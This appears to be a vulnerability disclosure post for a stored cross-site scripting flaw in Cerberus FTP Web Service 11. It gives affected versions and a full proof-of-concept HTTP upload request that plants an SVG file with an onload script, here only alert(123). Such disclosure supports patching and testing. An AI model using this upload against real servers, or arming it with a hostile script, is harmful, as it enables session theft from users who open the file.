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Cerberus FTP Web Service 11 Cross Site Scripting

Cerberus FTP Web Service 11 Cross Site Scripting
Posted Jun 11, 2021
Authored by Mohammad Hossein Kaviyany

Cerberus FTP Web Service version 11 suffers from a persistent cross site scripting vulnerability.

tags | exploit, web, xss
MD5 | 61f6e591d6e2aff86feea989a63f76e2

Cerberus FTP Web Service 11 Cross Site Scripting

Change Mirror Download
# Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
# Date: 08/06/2021
# Exploit Author: Mohammad Hossein Kaviyany
# Vendor Homepage: www.cerberusftp.com
# Software Link: https://www.cerberusftp.com/download/
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
# Tested on: windows server 2016
------------
About Cerberus FTP Server (From Vendor Site) :

Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS,
FIPS 140-2 validated, and Active Directory and LDAP authentication.
--------------------------------------------------------
Exploit Detailes :

This stored XSS bug happens when a user uploads an svg file with the following content :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

Exploit POC :

# Vulnerable Path : /file/upload
# Parameter: files (POST)
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

#Payload:

POST /file/upload HTTP/1.1
Host: target.com
Connection: close
Content-Length: 484
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/file/d/home/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM

------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="cd"

/home
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="csrftoken"

z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="files[]"; filename="file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

------WebKitFormBoundaryAAM6ZtOAsyklo6JG--

--------------------------
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